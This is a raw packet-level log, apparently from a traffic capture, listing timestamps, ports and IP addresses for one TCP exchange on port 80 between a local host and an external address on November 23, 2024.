Nov 23, 2024 01:14:05.748018026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.748066902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.748127937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.748899937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.749006033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.749048948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.749098063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.749810934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.749871969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.749982119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.750030041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.750701904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.750777960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.750883102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.750937939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.751669884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.751732111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.751781940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.751837015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.752523899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.752593040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.783114910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.783135891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.783350945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.783353090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.783353090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.783407927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.783441067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.783492088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.784271002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.784337997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.784384966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.784432888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.785166025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.785232067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.785275936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.785325050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.786185026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.786262989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.786268950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.786329031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.787015915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.787080050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.787130117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.787194014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.787928104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.787992001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.788043976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.788089991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.788892984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.788964987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.788973093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.789026976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.789778948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.789844990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.789925098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.789979935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.790705919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.790779114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.790786982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.790834904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.791577101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.791630030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.859802008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.859942913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.859994888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.860049009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.860291004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.860347986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.860366106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.860425949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.861219883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.861274004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.861351013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.861402988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.862056017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.862139940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.862180948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.862230062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.863112926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.863163948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.863261938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.863311052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.863970041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.864020109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.864092112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.864140987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.864806890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.864860058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.864917994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.864970922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.865890980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.865958929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.866108894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.866158009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.866682053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.866734028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.866873980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.866924047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.867568016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.867614985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.867708921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.867758036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.868511915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.868566036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.868882895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.868940115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.869364023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.869416952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.869417906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.869469881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.870310068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.870376110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.870425940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.870476961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.871232986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.871268034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.871289968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.871339083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.872184038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.872297049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.872323990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.872380972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.873050928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.873105049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.873126984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.873162985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.873991013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.874054909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.874177933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.874234915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.874901056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.874962091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.875098944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.875154018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.875847101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.875924110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.875936985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.875972986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.876755953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.876826048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.876879930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.876936913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.877652884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.877748966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.877794027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.877880096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.878608942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.878670931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.878684044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.878717899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.879498959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.879565954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.879635096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.879692078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.880404949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.880458117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.936192989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.936304092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.936362028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.936417103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.936656952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.936711073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.936781883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.936835051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.937539101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.937593937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.937649012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.937702894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.938458920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.938522100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.938582897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.938633919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.939373970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.939444065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.939507961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.939562082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.940309048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.940366030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.940423012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.940474033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.941258907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.941313982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.941378117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.941428900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.942145109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.942204952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.942257881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.942306042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.943053007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.943109035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.943162918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.943212032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.943960905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.944013119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.944073915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.944123983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.944873095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.944927931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.944989920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.945039988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.945806980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.945866108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.945919991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.945969105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.946768045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.946821928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.946894884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.946949959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.947621107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.947679996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.947736025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.947793007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.948543072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.948602915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.948657036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.948704958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.949454069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.949507952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.949561119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.949611902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.950385094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.950438023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.950491905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.950540066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.951307058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.951373100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.951425076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.951474905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.952235937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.952290058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.952363968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.952415943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.953140020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.953202009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.953257084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.953305006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.984471083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.984544039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.984610081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.984610081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.984777927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.984831095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.984966040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.985019922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.985074043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.985126972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.985896111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.985975027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.986030102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.986080885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.986814976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.986876965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.986932993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.986996889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.987720966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.987773895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.987793922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.987844944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.988637924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.988697052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.988750935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.988804102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.989558935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.989620924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.989685059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.989736080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.990488052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.990555048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.990608931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.990658998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.991400003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.991455078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.991513014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.991564989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.992311001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.992367029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:05.992440939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:05.992491007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.061243057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.061302900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.061361074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.061408043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.061527014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.061605930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.061642885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.061696053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.062446117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.062505007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.062522888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.062573910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.063396931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.063448906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.063477039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.063528061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.064322948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.064380884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.064403057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.064450979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.065232038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.065291882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.065349102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.065402985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.066133022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.066191912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.066252947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.066306114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.067054033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.067106962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.067127943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.067178965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.067977905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.068030119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.068058968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.068109989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.068876028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.068938017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.068952084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.068984032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.069775105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.069828987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.069856882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.069938898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.070699930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.070755005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.070816994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.070868969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.071619987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.071702957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.071759939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.071809053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.072537899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.072590113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.072637081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.072686911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.073468924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.073523998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.073595047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.073643923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.074368954 CET	80	49704	185.215.113.206	192.168.2.5
